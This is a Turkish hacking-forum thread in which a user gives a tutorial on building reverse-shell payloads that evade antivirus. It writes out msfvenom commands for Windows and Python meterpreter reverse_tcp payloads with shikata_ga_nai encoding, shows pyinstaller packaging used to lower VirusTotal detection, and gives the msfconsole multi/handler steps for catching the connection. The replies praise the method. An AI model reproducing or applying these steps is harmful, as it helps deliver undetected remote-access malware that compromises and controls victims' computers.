Anti-Virüslere Yakalanmayan Payload Oluşturalım!//"P4RS

P4RS

Özel Üye
8 Ocak 2017
5,156
58
Ankara
Merhabalar TürkHackTeam ailesi, bugün sizlerle birlikte Msfvenom Encoding yöntemi ile Payload hazırlayacağız. Konu başlıklarına bakalım ardından konumuza geçelim.

Konu Başlıkları
• Msfvenom Nedir?
• Encoder Nedir?
• Msfvenom ile Encoding İşlemi
• Pyinstaller Nedir?



Msfvenom Nedir?

Msfvenom ile payload oluşturabilir ve bu payloadların anti-virüs programlarına yakalanmaması adına Encoding yöntemini kullanabiliriz. Eskiden msfpayload ve msfencode araçları vardı fakat Msfvenom aracı ikisinin de işini yapabiliyor ve daha hızlıdır.

NaKJWN.png



Encoder Nedir?

Bir programın/yazılımın anti-virüs programlarına yakalanmaması adına yapılan kriptolama işlemine denir.


NaKJWN.png




Msfvenom ile Encoding İşlemi

Öncelikle Msfvenom aracımızda ki parametrelere bakalım bunun için de
Kod:
msfvenom -l
diyelim.

H5bBPA.jpg


Biz encoder özelliğini kullanacağız ve bu modüllere bir bakalım. Bunun için de
Kod:
msfvenom -l encoders
yazalım.

0TTIMW.jpg


6C5IGx.jpg


Burada modüllerin açıklamasını, isimlerini ve seviyelerini veriyor.

Ben x86/shikata_ga_nai encoderını kullanacağım. Encoding işlemleri genel de varsayılan olarak 1 kere yapılır. Ne kadar fazla yaparsanız anti-virüslere yakalanma ihtimali o kadar düşer fakat boyutu da o kadar artar. 4-5 idealdir. Ben 5 yapacağım. Payload'ı oluşturmak için
Kod:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP_ADRESINIZ LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > Nereye_Kaydetmek_İsterseniz
yazalım ve Enter'a basalım.

5xNST8.jpg


Virüstotal'e atalım ve ne kadar etkili bakalım :)) Eveeett baya etikili :D Encoder'lar anti-virüsler tarafından apaçık belli oluyor artık. Bunun için farklı bir yöntem ile yapacağız.

736O33.jpg



Burada pyinstaller kullanacağız. Bunun ne olduğuna değinelim.




Pyinstaller Nedir?

Pyinstaller, .py uzantılı yani python ile yazılmış bir scripti .exe olarak dönüştürmenizi sağlar. Bu sayede anti-virüslere yakalanma olasılığınız baya bir düşer. İsterseniz deneyelim.

Yine terminale gelerek
Kod:
msfvenom -p python/meterpreter/reverse_tcp LHOST=IP_ADRESINIZ LPORT=4444 -f raw > Dosya_Yolu
yazalım.

2RfVKK.jpg


Bunu Virüstotal'e atalım bakalım ne olacak.

4W1bJx.jpg


Gördüğünüz gibi oranı gayet iyi bir şekilde düştü. Fakat bu da bariz bir şekilde virüslü olduğunu gösteriyor. Bunun için de pyinstaller'ı kullanacağız.

Terminali açarak
Kod:
sudo apt-get install pyinstaller
yazalım ve indirelim.

UCf45e.jpg


Şimdi msfvenom ile .py uzantılı bir payload hazırladık fakat Windows makinelerde direk çalışması için .exe olmasını isteriz. Bunun için de terimale
Kod:
pyinstaller --onefile python_dosyanız.py
yazalım.

3fI12O.jpg


Gördüğünüz gibi nereye kaydettiğini de gösterdi bizlere.

9BzGda.jpg


Peki bunu Virüstotal'e atarsak ne olur? :D

0KNKaO.jpg


HUCfH4.jpg


Gayet başarılı :))

Peki bunu attık da nasıl dinleyeceğiz veya nasıl işlem yapacağız derseniz bunun içinde msfconsole'a işimiz düşüyor. Terimanelde açalım
Kod:
msfconsole

z3URKf.jpg


Açtıktan sonra Payload'ı dinlemek için
Kod:
use exploit/multi/handler
yazalım ardından Payload'ı tanıtalım
Kod:
set PAYLOAD python/meterpreter/reverse_tcp
yazalım.
show options diyerek ayarlamıza bakalım. Burada sadece IP adresi eksik port numarası doğru bunu da ayarlamak için
Kod:
set LHOST IP_adresiniz
yazalım.

V7OWbW.jpg


Ardından Payload'ımızı dinlemek için
Kod:
exploit
yazalım ve dinlemeye başlayalım.

PeKJTB.jpg



giphy.gif




Konum bu kadardı arkadaşlar, başka bir yazımda görüşmek üzere sağlıcakla...
 
Son düzenleme:

ZVkill3r

Katılımcı Üye
16 Tem 2019
487
50
Öncelikle böyle güzel bir konu için teşekkür ederim. Anlamadığım bir yer var.
Payload python a gore oluşturuldu. Ama windows payloadıymış gibi dinlemeye aldık. Pyinstaller sadece python dosyamizi windowsta calistirmak icin degil mi? Calisma mantigi nedir?
 

P4RS

Özel Üye
8 Ocak 2017
5,156
58
Ankara
Öncelikle böyle güzel bir konu için teşekkür ederim. Anlamadığım bir yer var.
Payload python a gore oluşturuldu. Ama windows payloadıymış gibi dinlemeye aldık. Pyinstaller sadece python dosyamizi windowsta calistirmak icin degil mi? Calisma mantigi nedir?

Güzel yorumunuz için ve uyarınız için çok teşekkür ederim :)) Doğru dediğiniz gibi dalgınlıkla windows olarak payload'ı ayarlamışım fakat dediğiniz gibi python olarak olması gerekiyordu. Konuda düzeltme yaptım ve uyarınız için tekrardan teşekkür ederim :))
 

ZVkill3r

Katılımcı Üye
16 Tem 2019
487
50
Güzel yorumunuz için ve uyarınız için çok teşekkür ederim :)) Doğru dediğiniz gibi dalgınlıkla windows olarak payload'ı ayarlamışım fakat dediğiniz gibi python olarak olması gerekiyordu. Konuda düzeltme yaptım ve uyarınız için tekrardan teşekkür ederim :))

Rica ederim 😊. Senin sayende ayriyetten linuxdan linuxu hacklemeyi de öğrenmiş oldum. Windows için Python payloadinin boyle kullanilmasi da cok akıllıca. diğer konularını bekliyorum.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.